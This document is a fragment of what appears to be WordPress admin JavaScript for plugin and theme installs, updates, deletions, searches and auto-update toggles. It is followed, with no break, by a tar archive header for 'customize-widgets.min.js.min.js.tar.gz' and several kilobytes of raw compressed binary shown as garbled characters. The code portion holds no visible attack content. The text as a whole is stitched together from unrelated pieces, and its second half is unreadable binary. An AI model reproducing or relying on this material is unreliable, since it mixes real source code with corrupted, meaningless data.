		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( 'click', '.importer-item .install-now', function( event ) {
			var $button = $( event.target ),
				pluginName = $( this ).data( 'name' );

			event.preventDefault();

			if ( $button.hasClass( 'updating-message' ) ) {
				return;
			}

			if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
				wp.updates.requestFilesystemCredentials( event );

				$document.on( 'credential-modal-cancel', function() {

					$button
						.removeClass( 'updating-message' )
						.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Plugin name. */
								_x( 'Install %s now', 'plugin' ),
								pluginName
							)
						)
						.text( __( 'Install Now' ) );

					wp.a11y.speak( __( 'Update canceled.' ) );
				} );
			}

			wp.updates.installPlugin( {
				slug:    $button.data( 'slug' ),
				pagenow: pagenow,
				success: wp.updates.installImporterSuccess,
				error:   wp.updates.installImporterError
			} );
		} );

		/**
		 * Click handler for plugin deletions.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( 'click', '[data-plugin] a.delete', function( event ) {
			var $pluginRow = $( event.target ).parents( 'tr' ),
				confirmMessage;

			if ( $pluginRow.hasClass( 'is-uninstallable' ) ) {
				confirmMessage = sprintf(
					/* translators: %s: Plugin name. */
					__( 'Are you sure you want to delete %s and its data?' ),
					$pluginRow.find( '.plugin-title strong' ).text()
				);
			} else {
				confirmMessage = sprintf(
					/* translators: %s: Plugin name. */
					__( 'Are you sure you want to delete %s?' ),
					$pluginRow.find( '.plugin-title strong' ).text()
				);
			}

			event.preventDefault();

			if ( ! window.confirm( confirmMessage ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.deletePlugin( {
				plugin: $pluginRow.data( 'plugin' ),
				slug:   $pluginRow.data( 'slug' )
			} );

		} );

		/**
		 * Click handler for theme updates.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( 'click', '.themes-php.network-admin .update-link', function( event ) {
			var $message  = $( event.target ),
				$themeRow = $message.parents( 'tr' );

			event.preventDefault();

			if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			// Return the user to the input box of the theme's table row after closing the modal.
			wp.updates.$elToReturnFocusToFromCredentialsModal = $themeRow.find( '.check-column input' );
			wp.updates.updateTheme( {
				slug: $themeRow.data( 'slug' )
			} );
		} );

		/**
		 * Click handler for theme deletions.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$document.on( 'click', '.themes-php.network-admin a.delete', function( event ) {
			var $themeRow = $( event.target ).parents( 'tr' ),
				confirmMessage = sprintf(
					/* translators: %s: Theme name. */
					__( 'Are you sure you want to delete %s?' ),
					$themeRow.find( '.theme-title strong' ).text()
				);

			event.preventDefault();

			if ( ! window.confirm( confirmMessage ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.deleteTheme( {
				slug: $themeRow.data( 'slug' )
			} );
		} );

		/**
		 * Bulk action handler for plugins and themes.
		 *
		 * Handles both deletions and updates.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( 'click', '[type="submit"]:not([name="clear-recent-list"])', function( event ) {
			var bulkAction    = $( event.target ).siblings( 'select' ).val(),
				itemsSelected = $bulkActionForm.find( 'input[name="checked[]"]:checked' ),
				success       = 0,
				error         = 0,
				errorMessages = [],
				type, action;

			// Determine which type of item we're dealing with.
			switch ( pagenow ) {
				case 'plugins':
				case 'plugins-network':
					type = 'plugin';
					break;

				case 'themes-network':
					type = 'theme';
					break;

				default:
					return;
			}

			// Bail if there were no items selected.
			if ( ! itemsSelected.length ) {
				event.preventDefault();
				$( 'html, body' ).animate( { scrollTop: 0 } );

				return wp.updates.addAdminNotice( {
					id:        'no-items-selected',
					className: 'notice-error is-dismissible',
					message:   __( 'Please select at least one item to perform this action on.' )
				} );
			}

			// Determine the type of request we're dealing with.
			switch ( bulkAction ) {
				case 'update-selected':
					action = bulkAction.replace( 'selected', type );
					break;

				case 'delete-selected':
					var confirmMessage = 'plugin' === type ?
						__( 'Are you sure you want to delete the selected plugins and their data?' ) :
						__( 'Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?' );

					if ( ! window.confirm( confirmMessage ) ) {
						event.preventDefault();
						return;
					}

					action = bulkAction.replace( 'selected', type );
					break;

				default:
					return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			event.preventDefault();

			// Un-check the bulk checkboxes.
			$bulkActionForm.find( '.manage-column [type="checkbox"]' ).prop( 'checked', false );

			$document.trigger( 'wp-' + type + '-bulk-' + bulkAction, itemsSelected );

			// Find all the checkboxes which have been checked.
			itemsSelected.each( function( index, element ) {
				var $checkbox = $( element ),
					$itemRow = $checkbox.parents( 'tr' );

				// Only add update-able items to the update queue.
				if ( 'update-selected' === bulkAction && ( ! $itemRow.hasClass( 'update' ) || $itemRow.find( 'notice-error' ).length ) ) {

					// Un-check the box.
					$checkbox.prop( 'checked', false );
					return;
				}

				// Don't add items to the update queue again, even if the user clicks the update button several times.
				if ( 'update-selected' === bulkAction && $itemRow.hasClass( 'is-enqueued' ) ) {
					return;
				}

				$itemRow.addClass( 'is-enqueued' );

				// Add it to the queue.
				wp.updates.queue.push( {
					action: action,
					data:   {
						plugin: $itemRow.data( 'plugin' ),
						slug:   $itemRow.data( 'slug' )
					}
				} );
			} );

			// Display bulk notification for updates of any kind.
			$document.on( 'wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error', function( event, response ) {
				var $itemRow = $( '[data-slug="' + response.slug + '"]' ),
					$bulkActionNotice, itemName;

				if ( 'wp-' + response.update + '-update-success' === event.type ) {
					success++;
				} else {
					itemName = response.pluginName ? response.pluginName : $itemRow.find( '.column-primary strong' ).text();

					error++;
					errorMessages.push( itemName + ': ' + response.errorMessage );
				}

				$itemRow.find( 'input[name="checked[]"]:checked' ).prop( 'checked', false );

				wp.updates.adminNotice = wp.template( 'wp-bulk-updates-admin-notice' );

				wp.updates.addAdminNotice( {
					id:            'bulk-action-notice',
					className:     'bulk-action-notice',
					successes:     success,
					errors:        error,
					errorMessages: errorMessages,
					type:          response.update
				} );

				$bulkActionNotice = $( '#bulk-action-notice' ).on( 'click', 'button', function() {
					// $( this ) is the clicked button, no need to get it again.
					$( this )
						.toggleClass( 'bulk-action-errors-collapsed' )
						.attr( 'aria-expanded', ! $( this ).hasClass( 'bulk-action-errors-collapsed' ) );
					// Show the errors list.
					$bulkActionNotice.find( '.bulk-action-errors' ).toggleClass( 'hidden' );
				} );

				if ( error > 0 && ! wp.updates.queue.length ) {
					$( 'html, body' ).animate( { scrollTop: 0 } );
				}
			} );

			// Reset admin notice template after #bulk-action-notice was added.
			$document.on( 'wp-updates-notice-added', function() {
				wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' );
			} );

			// Check the queue, now that the event handlers have been added.
			wp.updates.queueChecker();
		} );

		if ( $pluginInstallSearch.length ) {
			$pluginInstallSearch.attr( 'aria-describedby', 'live-search-desc' );
		}

		/**
		 * Handles changes to the plugin search box on the new-plugin page,
		 * searching the repository dynamically.
		 *
		 * @since 4.6.0
		 */
		$pluginInstallSearch.on( 'keyup input', _.debounce( function( event, eventtype ) {
			var $searchTab = $( '.plugin-install-search' ), data, searchLocation;

			data = {
				_ajax_nonce: wp.updates.ajaxNonce,
				s:           encodeURIComponent( event.target.value ),
				tab:         'search',
				type:        $( '#typeselector' ).val(),
				pagenow:     pagenow
			};
			searchLocation = location.href.split( '?' )[ 0 ] + '?' + $.param( _.omit( data, [ '_ajax_nonce', 'pagenow' ] ) );

			// Clear on escape.
			if ( 'keyup' === event.type && 27 === event.which ) {
				event.target.value = '';
			}

			if ( wp.updates.searchTerm === data.s && 'typechange' !== eventtype ) {
				return;
			} else {
				$pluginFilter.empty();
				wp.updates.searchTerm = data.s;
			}

			if ( window.history && window.history.replaceState ) {
				window.history.replaceState( null, '', searchLocation );
			}

			if ( ! $searchTab.length ) {
				$searchTab = $( '<li class="plugin-install-search" />' )
					.append( $( '<a />', {
						'class': 'current',
						'href': searchLocation,
						'text': __( 'Search Results' )
					} ) );

				$( '.wp-filter .filter-links .current' )
					.removeClass( 'current' )
					.parents( '.filter-links' )
					.prepend( $searchTab );

				$pluginFilter.prev( 'p' ).remove();
				$( '.plugins-popular-tags-wrapper' ).remove();
			}

			if ( 'undefined' !== typeof wp.updates.searchRequest ) {
				wp.updates.searchRequest.abort();
			}
			$( 'body' ).addClass( 'loading-content' );

			wp.updates.searchRequest = wp.ajax.post( 'search-install-plugins', data ).done( function( response ) {
				$( 'body' ).removeClass( 'loading-content' );
				$pluginFilter.append( response.items );
				delete wp.updates.searchRequest;

				if ( 0 === response.count ) {
					wp.a11y.speak( __( 'You do not appear to have any plugins available at this time.' ) );
				} else {
					wp.a11y.speak(
						sprintf(
							/* translators: %s: Number of plugins. */
							__( 'Number of plugins found: %d' ),
							response.count
						)
					);
				}
			} );
		}, 1000 ) );

		if ( $pluginSearch.length ) {
			$pluginSearch.attr( 'aria-describedby', 'live-search-desc' );
		}

		/**
		 * Handles changes to the plugin search box on the Installed Plugins screen,
		 * searching the plugin list dynamically.
		 *
		 * @since 4.6.0
		 */
		$pluginSearch.on( 'keyup input', _.debounce( function( event ) {
			var data = {
				_ajax_nonce:   wp.updates.ajaxNonce,
				s:             encodeURIComponent( event.target.value ),
				pagenow:       pagenow,
				plugin_status: 'all'
			},
			queryArgs;

			// Clear on escape.
			if ( 'keyup' === event.type && 27 === event.which ) {
				event.target.value = '';
			}

			if ( wp.updates.searchTerm === data.s ) {
				return;
			} else {
				wp.updates.searchTerm = data.s;
			}

			queryArgs = _.object( _.compact( _.map( location.search.slice( 1 ).split( '&' ), function( item ) {
				if ( item ) return item.split( '=' );
			} ) ) );

			data.plugin_status = queryArgs.plugin_status || 'all';

			if ( window.history && window.history.replaceState ) {
				window.history.replaceState( null, '', location.href.split( '?' )[ 0 ] + '?s=' + data.s + '&plugin_status=' + data.plugin_status );
			}

			if ( 'undefined' !== typeof wp.updates.searchRequest ) {
				wp.updates.searchRequest.abort();
			}

			$bulkActionForm.empty();
			$( 'body' ).addClass( 'loading-content' );
			$( '.subsubsub .current' ).removeClass( 'current' );

			wp.updates.searchRequest = wp.ajax.post( 'search-plugins', data ).done( function( response ) {

				// Can we just ditch this whole subtitle business?
				var $subTitle    = $( '<span />' ).addClass( 'subtitle' ).html(
					sprintf(
						/* translators: %s: Search query. */
						__( 'Search results for: %s' ),
						'<strong>' + _.escape( decodeURIComponent( data.s ) ) + '</strong>'
					) ),
					$oldSubTitle = $( '.wrap .subtitle' );

				if ( ! data.s.length ) {
					$oldSubTitle.remove();
					$( '.subsubsub .' + data.plugin_status + ' a' ).addClass( 'current' );
				} else if ( $oldSubTitle.length ) {
					$oldSubTitle.replaceWith( $subTitle );
				} else {
					$( '.wp-header-end' ).before( $subTitle );
				}

				$( 'body' ).removeClass( 'loading-content' );
				$bulkActionForm.append( response.items );
				delete wp.updates.searchRequest;

				if ( 0 === response.count ) {
					wp.a11y.speak( __( 'No plugins found. Try a different search.'  ) );
				} else {
					wp.a11y.speak(
						sprintf(
							/* translators: %s: Number of plugins. */
							__( 'Number of plugins found: %d' ),
							response.count
						)
					);
				}
			} );
		}, 500 ) );

		/**
		 * Trigger a search event when the search form gets submitted.
		 *
		 * @since 4.6.0
		 */
		$document.on( 'submit', '.search-plugins', function( event ) {
			event.preventDefault();

			$( 'input.wp-filter-search' ).trigger( 'input' );
		} );

		/**
		 * Trigger a search event when the "Try Again" button is clicked.
		 *
		 * @since 4.9.0
		 */
		$document.on( 'click', '.try-again', function( event ) {
			event.preventDefault();
			$pluginInstallSearch.trigger( 'input' );
		} );

		/**
		 * Trigger a search event when the search type gets changed.
		 *
		 * @since 4.6.0
		 */
		$( '#typeselector' ).on( 'change', function() {
			var $search = $( 'input[name="s"]' );

			if ( $search.val().length ) {
				$search.trigger( 'input', 'typechange' );
			}
		} );

		/**
		 * Click handler for updating a plugin from the details modal on `plugin-install.php`.
		 *
		 * @since 4.2.0
		 *
		 * @param {Event} event Event interface.
		 */
		$( '#plugin_update_from_iframe' ).on( 'click', function( event ) {
			var target = window.parent === window ? null : window.parent,
				update;

			$.support.postMessage = !! window.postMessage;

			if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( 'update-core.php' ) ) {
				return;
			}

			event.preventDefault();

			update = {
				action: 'update-plugin',
				data:   {
					plugin: $( this ).data( 'plugin' ),
					slug:   $( this ).data( 'slug' )
				}
			};

			target.postMessage( JSON.stringify( update ), window.location.origin );
		} );

		/**
		 * Click handler for installing a plugin from the details modal on `plugin-install.php`.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$( '#plugin_install_from_iframe' ).on( 'click', function( event ) {
			var target = window.parent === window ? null : window.parent,
				install;

			$.support.postMessage = !! window.postMessage;

			if ( false === $.support.postMessage || null === target || -1 !== window.parent.location.pathname.indexOf( 'index.php' ) ) {
				return;
			}

			event.preventDefault();

			install = {
				action: 'install-plugin',
				data:   {
					slug: $( this ).data( 'slug' )
				}
			};

			target.postMessage( JSON.stringify( install ), window.location.origin );
		} );

		/**
		 * Handles postMessage events.
		 *
		 * @since 4.2.0
		 * @since 4.6.0 Switched `update-plugin` action to use the queue.
		 *
		 * @param {Event} event Event interface.
		 */
		$( window ).on( 'message', function( event ) {
			var originalEvent  = event.originalEvent,
				expectedOrigin = document.location.protocol + '//' + document.location.host,
				message;

			if ( originalEvent.origin !== expectedOrigin ) {
				return;
			}

			try {
				message = JSON.parse( originalEvent.data );
			} catch ( e ) {
				return;
			}

			if ( ! message || 'undefined' === typeof message.action ) {
				return;
			}

			switch ( message.action ) {

				// Called from `wp-admin/includes/class-wp-upgrader-skins.php`.
				case 'decrementUpdateCount':
					/** @property {string} message.upgradeType */
					wp.updates.decrementCount( message.upgradeType );
					break;

				case 'install-plugin':
				case 'update-plugin':
					/* jscs:disable requireCamelCaseOrUpperCaseIdentifiers */
					window.tb_remove();
					/* jscs:enable */

					message.data = wp.updates._addCallbacks( message.data, message.action );

					wp.updates.queue.push( message );
					wp.updates.queueChecker();
					break;
			}
		} );

		/**
		 * Adds a callback to display a warning before leaving the page.
		 *
		 * @since 4.2.0
		 */
		$( window ).on( 'beforeunload', wp.updates.beforeunload );

		/**
		 * Prevents the page form scrolling when activating auto-updates with the Spacebar key.
		 *
		 * @since 5.5.0
		 */
		$document.on( 'keydown', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) {
			if ( 32 === event.which ) {
				event.preventDefault();
			}
		} );

		/**
		 * Click and keyup handler for enabling and disabling plugin and theme auto-updates.
		 *
		 * These controls can be either links or buttons. When JavaScript is enabled,
		 * we want them to behave like buttons. An ARIA role `button` is added via
		 * the JavaScript that targets elements with the CSS class `aria-button-if-js`.
		 *
		 * @since 5.5.0
		 */
		$document.on( 'click keyup', '.column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update', function( event ) {
			var data, asset, type, $parent,
				$toggler = $( this ),
				action = $toggler.attr( 'data-wp-action' ),
				$label = $toggler.find( '.label' );

			if ( 'keyup' === event.type && 32 !== event.which ) {
				return;
			}

			if ( 'themes' !== pagenow ) {
				$parent = $toggler.closest( '.column-auto-updates' );
			} else {
				$parent = $toggler.closest( '.theme-autoupdate' );
			}

			event.preventDefault();

			// Prevent multiple simultaneous requests.
			if ( $toggler.attr( 'data-doing-ajax' ) === 'yes' ) {
				return;
			}

			$toggler.attr( 'data-doing-ajax', 'yes' );

			switch ( pagenow ) {
				case 'plugins':
				case 'plugins-network':
					type = 'plugin';
					asset = $toggler.closest( 'tr' ).attr( 'data-plugin' );
					break;
				case 'themes-network':
					type = 'theme';
					asset = $toggler.closest( 'tr' ).attr( 'data-slug' );
					break;
				case 'themes':
					type = 'theme';
					asset = $toggler.attr( 'data-slug' );
					break;
			}

			// Clear any previous errors.
			$parent.find( '.notice.notice-error' ).addClass( 'hidden' );

			// Show loading status.
			if ( 'enable' === action ) {
				$label.text( __( 'Enabling...' ) );
			} else {
				$label.text( __( 'Disabling...' ) );
			}

			$toggler.find( '.dashicons-update' ).removeClass( 'hidden' );

			data = {
				action: 'toggle-auto-updates',
				_ajax_nonce: settings.ajax_nonce,
				state: action,
				type: type,
				asset: asset
			};

			$.post( window.ajaxurl, data )
				.done( function( response ) {
					var $enabled, $disabled, enabledNumber, disabledNumber, errorMessage,
						href = $toggler.attr( 'href' );

					if ( ! response.success ) {
						// if WP returns 0 for response (which can happen in a few cases),
						// output the general error message since we won't have response.data.error.
						if ( response.data && response.data.error ) {
							errorMessage = response.data.error;
						} else {
							errorMessage = __( 'The request could not be completed.' );
						}

						$parent.find( '.notice.notice-error' ).removeClass( 'hidden' ).find( 'p' ).text( errorMessage );
						wp.a11y.speak( errorMessage, 'assertive' );
						return;
					}

					// Update the counts in the enabled/disabled views if on a screen
					// with a list table.
					if ( 'themes' !== pagenow ) {
						$enabled       = $( '.auto-update-enabled span' );
						$disabled      = $( '.auto-update-disabled span' );
						enabledNumber  = parseInt( $enabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0;
						disabledNumber = parseInt( $disabled.text().replace( /[^\d]+/g, '' ), 10 ) || 0;

						switch ( action ) {
							case 'enable':
								++enabledNumber;
								--disabledNumber;
								break;
							case 'disable':
								--enabledNumber;
								++disabledNumber;
								break;
						}

						enabledNumber = Math.max( 0, enabledNumber );
						disabledNumber = Math.max( 0, disabledNumber );

						$enabled.text( '(' + enabledNumber + ')' );
						$disabled.text( '(' + disabledNumber + ')' );
					}

					if ( 'enable' === action ) {
						// The toggler control can be either a link or a button.
						if ( $toggler[ 0 ].hasAttribute( 'href' ) ) {
							href = href.replace( 'action=enable-auto-update', 'action=disable-auto-update' );
							$toggler.attr( 'href', href );
						}
						$toggler.attr( 'data-wp-action', 'disable' );

						$label.text( __( 'Disable auto-updates' ) );
						$parent.find( '.auto-update-time' ).removeClass( 'hidden' );
						wp.a11y.speak( __( 'Auto-updates enabled' ) );
					} else {
						// The toggler control can be either a link or a button.
						if ( $toggler[ 0 ].hasAttribute( 'href' ) ) {
							href = href.replace( 'action=disable-auto-update', 'action=enable-auto-update' );
							$toggler.attr( 'href', href );
						}
						$toggler.attr( 'data-wp-action', 'enable' );

						$label.text( __( 'Enable auto-updates' ) );
						$parent.find( '.auto-update-time' ).addClass( 'hidden' );
						wp.a11y.speak( __( 'Auto-updates disabled' ) );
					}

					$document.trigger( 'wp-auto-update-setting-changed', { state: action, type: type, asset: asset } );
				} )
				.fail( function() {
					$parent.find( '.notice.notice-error' )
						.removeClass( 'hidden' )
						.find( 'p' )
						.text( __( 'The request could not be completed.' ) );

					wp.a11y.speak( __( 'The request could not be completed.' ), 'assertive' );
				} )
				.always( function() {
					$toggler.removeAttr( 'data-doing-ajax' ).find( '.dashicons-update' ).addClass( 'hidden' );
				} );
			}
		);
	} );
})( jQuery, window.wp, window._wpUpdatesSettings );
customize-widgets.min.js.min.js.tar.gz000064400000017726150276633100013773 0ustar00��=ks�Fr��_A�|k�R���$�bY�=����{���2"��� �@i�����y`P�}��R�ڪ�==��Ѷ���<�E��|U�N��P�t�*v�7�Q��D~�su�:Tu���G7"��C������ϋ�>�C͋�'�4�|��O�?���(�t����`�����TR”�s��9�d8�~+��Zd|�'��mx�ˤ�������E�6��N����t�
�,������,?d��*�8}���x�ԫmx�S8>�F��,��<���>��@,�z����bz��.�'eſ��P\|zɦ�(�5M9���g�c��Ϟ��>�
��c�����׸J�y*?�N�ةK�:��7�7z8U�׵�7r�u�vg�In
"���Hy��~�*r>��1�P�<
�D*�V��~�?V�c��,�,�e��dAʫU)�x
��2Ur����Y-�������>0V�I^틲��pɮ�]\2 �z+�\l��Aœr�]�����1�l�M�e����ASf�C�̼�ci�&�����5/w�0��@����s��|So�=�"�f�uĂ �c�@��	����йw�N�ctT�p�H�Ĝ�!���,Y��b���>��l1�����w���
޿��YEM��F�"D��s~3��o�����d�?��Y��M�+�op�x��L}Y�D�������[�B�d�;v;�ND���Wڏa�r���߉�_%�I:J�ptK�h�BeY ��,����vUb7"�룲�C<ղ��y��?=z�+��޲3l�7��qBդ
�μmHwG���:�?'9�*�
�V��6K�u�3ǧՄ��k����.��P~�*F����-@�uL{0�
F�堒ʠn���/��eu�ډj�{�^ڝM�O��|�
���L_�V�\�B$X�f��C	gY�ϕU)Җ����0��f���To�C��I�Iң�
Zj"�ΉX���6�@R��L)�G��k��T9*e-tY����u��C�Cex�����+�%�l���f�=�
�4���*�n:n���.Í5z��ft�fЈo
2"z�SؠN5`o��1�u0N4&I���
Z�sX�U���ۤz���D�j�4�x�����P��Y��w|�da�ԥ�lx*�
�L�����h��t�ap(3u0��F�,ǀ�{�3o��N��wN�]�T�y'yN9-d���r�� f�B�\����.����
�4h
#1u'rw����ݦ�W6����EY�(�[�֨h�����  �Z��Fx3RS�K�twvn��G��9�k^h���of6K�:��'���!���In� ��;���@}d^�l�]�չU_�b���>
���{*��C0/~��������v\�y�K���0��ޭ=v�6)(���6u� XҸ.6���J�kijĵd�ej2_)�7�T�
:�*iEj�X���MK`1-B#
��|ْ�����B��	�_�C��"�SB�{)��R
�NF�P�u���>'R�ي���O���{9
��3	�ga�>�Å>�%�۟�0P�6�!�W?J��#<�P��M�Ж��K��>2G��f�J,®�=ϻ��,�exb0�\�WE�S�0c�ɤ�
���<���}űs(%��&Pʇ���Xm��2�L_�6�h
R�4�V��=��>a
Z�_�e|U7(��Jd�����.��Nǃ�wG\
�`�¦�1��A�6������X�aY�� }^c�ځ��}��֫X������yl�����>��Y���L�����ڊu���r;哔�=�9�[���
��m��q�X�Z��b�(�r�ҍ&C�+1�9S�
ߐA����Uj��B���j�Yȩ~f!�H
����K}]��%����ޠt.%D���TF���"M�U;E��0y�lu?��6Fp�V���|��f	����Y�}w�����i��*�++[ ��	IYy\��yY�Av�z��T\�
��Y��~�N����D��m�k��GQoC�r�yºQ�[�#l8j�r����qlJ�k�j�H*��=������a'�!�Lȡ���ت��3^�7I�]%�_f[�&����:pJ`
�=j�j�/wW<�����U0�[�պ���hH��idU�%��<����M�e�}�%D	o
�`��>0�6aoE��<����E&Y�mQ����@_u��۸�x�
����Iz�6	r	���h��Vic��)�8� (�w����l����Ӧf�p��
��r���A��[�1t�v1��YP�L���+�j��6����${��Ǩ/���oX��%Z�j���4��ߣ��*��e�����(6�_��pB�U�Y[N���<�Z�-����Z0u�n��-@ڵX� g��ڕotݗG��9����F�g�ܳ:�ꚓ܆)�֒h�W��	�E�z�Kil�h�X�0X�U������ z��{��:`E�,���$�RZ�ҷ0�e����>��Q�HU�=���N
~���y2�2�S}��Hw�]tF�2�Ew"��$_q4ɎX
�t��	T�4	9�b�Z?����X�Dc�م���g@�\[�~|��@��U�7�&
�@��܏֠ǎ���,�UR�h�k�ӘI�‘�@M��jY8�A��vɇm*��[�"�D>��I�Z���;ΠԚ�X�1�8_�QT8�B����T% 4pe�055�@뛤ގ�4�0���CS��6=9�T�q�Ȥ����[ �1��
�U)6�� �
+�t���X�!�(yPEm
�Ӂ6uS�<z���X�raߔX�Ή%���4�D
�=���L*~�x�E@�	�@�;��'���t�刧S��>b���1�h�Ռ$���4�H[	@b#��0���Qu>8R�ވ�����Ac�&��Ъ�����c���L��-$ve�`v�4�W$�Ds����:f��b%?��8�2r�f�F��:�^�v�?�R��#�<��ʜcv�t�0=��K!9ȼy��?N�!pU�d��00�]d+�*N"�7��1XĪ��ѷ�5:���SW2l�.�>Y��4�!���Ζ��6���e�ܢ�o�V��AR�JrL�[�(/�P��r�3mf���	��$�"�.Vc��$�уGu�mq0=� a�8|�j�chϽN:@��q��g�Ѭ�t
��3�ٳ*̑YL_��i��U��,��ma�H���\�tȬ���0�Z�I��Fyr�8�%��C
n�G��S��}��E���l�
J��X�L̟b���>%�+ȇ����;u͑��B�w�n�@RfO�F�x��y����2��P@��{ؘ �8!��.=1�)���d���VM�pK��v$���16��u<t��@8�4��BP���9����G'�4
�Xb����\���9Hti��͵j��j�#�b�i�	[Z\��{�چl��	z�kY-b������*���y�h��K�ާ�x�c��bST��
���Jj��IY��x�ΉnڧB"j�C�
x9��fܨ.M~H�l+��	5/`��f�E~C��0�޾v�t�(�r�D��9cIr��N�-�R��ҋ��)����_����\�O�
0È�3S�}Qd��cG���.�Ѿ����E<A��[n��-��EW?S����Z}�~>Ѧ�ɊR/g!vX��G�Kl��a�k��P�<\��@������Vg�3�*�oV����T1�Ֆ�~�k��TԷ:6b�����V7��#�<��[�k���8l�eE��ƞ�,#qCi;-���<{��IC��[.Zn9��/:�#L-�	�aU3Dc]�٭���'�ny���D��xi�?R��u�q;B�v�2�>�~ܮ�V2V?�H��E�7�e`�('�O*G�dF���]���k	K�d���
~�<�ߣ�u����^��F�v�&
g
�6E���Og6�5��(�7��bB]�	���q��6��J"��"@����µ��Ž�h����r}ʗ�V�ۈ��-BL-D���P.:��tF��٧��d�P��D2�LH����'М�FX��d�&�Ȭ-�DP�&q۫��J�G��W�ʕA�F�t=P^b]�N������s�Ȝ��ϝ�����zv�KR�K���U�j���5љܙTM/�R�Kj*�Y�lKyu���P4�(�r^~��y��
��W�.U^QIWI-���yN�]]J4?Fx���IWd�"i�!����	�eV1ҏ�	_�̐�r�5,�i,�Ш+����Hc�νl�T*9W�V��q�Qde�6R5ߴ2'ⰲ��&���iI��r�}����*<y����H�n��,��!��%�S��"NNk���
�OGr�ʡF]�o��mX�.�
	���Š
��i��i��5����SR0�046��~i��,�B�8��J����VW$�uIA���n3^m9��֩}E�R(�v�%�VC�I�G��l��ÇE'��Wist���m�.;U�o!?��"x����(`
�u&���߽�6��.ַ2G{f��Rf\��<âB��
�%�m����'�(T������(%)�r������C�C��j�$�"�ޙ�IQN�,�Eh+�귱X���y:fAVl@����6�qU��Z�J�+2�`4���;f
Lj2ɛ�@��(��)�W&c�I��{c#OMh�!�Ы��Q{n�v\���>S��V7m��q��Ĥ#i��X{���؞{f�����28�+	��nQ�v�����i� fi��a��]���{mS��zmƮ�e��\m�]$�:�K��.@��3}�%R"qL�YX����m3m���>�5cQ_$���!��%���Vƅ\���Q���w B=�Յ�:L����X��t5n�wy!���pŐK}�M�o��x=&��N�״�Pu��7��"�fafͰ0���_�t}5y��%p�"߼��/�����=��Q�ND��i�7c��n����k�8�@m�l���ѵ��hJ��VZ�;�L[;}��	(�(�/�ʹ�J���~�Ʋ��ڨ��Me�j�%�����*�th�;��d���}!����6CNW�t@�d*�EP�s���1@��2L@"�Y�ȅ?7&���6��I/\�>���u�c��!P@B�ׇA�U�<޴'��� �J'���I�m\6�.�o��|����ٙ8B�HH�)��n���Di��
%��N@���,�K4˝!
�mF<z}r!*����罣m���E�%�_�!HP��f�,��"
�95��P�۔�$�ȩ�6�(�E��]�G>8Z�t��h��a�X3�.:�#9|f��0C!S5<���éyA$�z��$h�}P���G�ڿ��j?������d9�]HY�� `��%~C�%=\:/�!Cd�Q�oʝi<�^W>y3��b�4d��#�M���o�A��t����غ]�!�7ؗ	 ���Z!���E}�/���$���|�Z�/�g�Gp8au�k�i#WCa?@�<�ѳl�#����|�Ĥ�ڗt��-{t�@;s4}\��Q{�dUV��k���PE�r}��"CZ�*)A���IpœgnS|�al���S�޹5�'�x�É��&�������bJ���U�z��uۆ������)_�.�S�X��������%i�q�ю�	exkg����E��4w�	�+��t�&��6uS�jeT�؂F�T��ʾ;c\���t�'��cr���'G44�Y��s�>wc�D�{�G�x��3�1��=��[MW�qU�U�|�/�����{Mt�4D�T��.cwh����D=��\�
�K��(I+�«tZ j ����r�����J��v #f���PW�WE��O�f��.�l2�<�㚍f�1l�%8��]	A� �v�E\$nap�<�b]qc��$�z��,jչ�'sv�_���	��5�Z���J�D+�S��ݿ������;�+�n3�|�\Ѧoe��OV��L��yH��uլ)zW�5�/��u��<E*��7	̑'�[L~#&�m��'mN^\���-&�?FnL��T��9��P�Pt%>a�aE�Ն����g�~\?�H�k���,�8��
'/��Z�_��}���"j��ʺ�02�_�—%6�����d�ZOݨ�P����\>Q��y����_b����y��m5+��!�؟���L��E�1��=W]� A�4��C����-��/a��	t٥|���� t�m���?$/:�0?���ц�o5u7�o��i���`���j��Ф�=L��6����q��&����y�_��F�MakT��ēHf��8�� �;��oM����X�H���u�am.
P��|ߧj��ÆS���dnj�y�Γ}�ܙl���w��;�,_
�fb[Jj�9�7X�A@�[gE�K���B`�,^��s����N��iNt��+�^���+*�$1[�K��{}x���kOd
�3J浕�tl��s�I���\�VH����s�F|_�J*cx���k�Z���4~-P|��oTR�l8�j���:v�c���c��8�o�5	-(�[�ɠ�E�c���N�T�Oܨ�f��Y�5�']:�<�џ�h�̻8�x4J�� ��(����^�~F&�_��Ԭw$�~h �r[�$TOI�.�/.�K���~ײ_/A���#I>��>!׍���i���wJ�o/�i�[҇�2>>�\�w�]-H�AZ^"���:|P�zX��z껩%�Q@�_�F0�Bзs�}���B<�y�Mqd\i��څd�lȽϧڦ���Z��Tݵ�W�Yuot�/
�	.+�O+=�G��Հ�5ǝh
��|�W�|t���cS��wp��R
��D9g��Ȑv�i2�䕩��(��}�^wn��z���/l
����
